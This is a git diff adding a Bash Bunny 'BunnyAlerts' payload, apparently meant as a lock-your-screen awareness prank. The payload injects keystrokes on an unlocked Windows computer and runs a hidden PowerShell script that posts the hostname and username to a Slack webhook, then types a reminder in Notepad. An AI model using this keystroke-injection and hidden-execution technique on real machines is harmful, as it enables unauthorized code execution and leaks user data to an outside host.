diff --git a/payloads/library/general/BunnyAlerts/alert.ps1 b/payloads/library/general/BunnyAlerts/alert.ps1 new file mode 100644 index 000000000..f79702e30 --- /dev/null +++ b/payloads/library/general/BunnyAlerts/alert.ps1 @@ -0,0 +1,19 @@ +# Title: Bunny Alerts +# Description: Sends a message to Slack channel using incoming Webhook +# Author: Jesse Allen +# Version: 1.0 +# Category: General +# Target: Windows + +<# +.DESCRIPTION + This program will send a message to slack +#> + +# options +$msg = "Hostname: ${env:computername}, Username: ${env:username} left their computer unlocked!" +$uriSlack = "" +$body = ConvertTo-Json @{ + text = $msg +} +Invoke-RestMethod -uri $uriSlack -Method Post -body $body -ContentType 'application/json' | Out-Null diff --git a/payloads/library/general/BunnyAlerts/payload.txt b/payloads/library/general/BunnyAlerts/payload.txt new file mode 100644 index 000000000..2aa7f8f4c --- /dev/null +++ b/payloads/library/general/BunnyAlerts/payload.txt @@ -0,0 +1,34 @@ +# Title: Bunny Alerts +# Description: Sends a message to Slack channel, and writes message in notepad +# Author: Jesse Allen +# Version: 1.0 +# Category: General +# Attackmodes: HID +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 +QUACK DELAY 1000 +QUACK GUI r +QUACK DELAY 1000 + +LED STAGE2 +# run PowerShell script + +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\alert.ps1')" +QUACK ENTER +QUACK DELAY 1000 + +LED STAGE3 +# open notepad and write message + +RUN WIN Notepad.exe +QUACK DELAY 1000 +QUACK STRING Friendly reminder to lock your computer! + +LED FINISH \ No newline at end of file diff --git a/payloads/library/general/BunnyAlerts/readme.md b/payloads/library/general/BunnyAlerts/readme.md new file mode 100644 index 000000000..c2b4c5836 --- /dev/null +++ b/payloads/library/general/BunnyAlerts/readme.md @@ -0,0 +1,19 @@ +## BunnyAlerts + +Author: Jesse Allen +Target: Windows +Version: Version 1.0 + +## Description + +Sends a message to a Slack channel using incoming Webhook, then opens notepad and writes a message. + +## Configuration + +HID STORAGE + +## Requirements + +Slack will need to create a Slack app and activate Incoming Webhooks. Replace the slack url in alerts.ps1 with your own webhook url. +https://api.slack.com/apps?new_app=1 +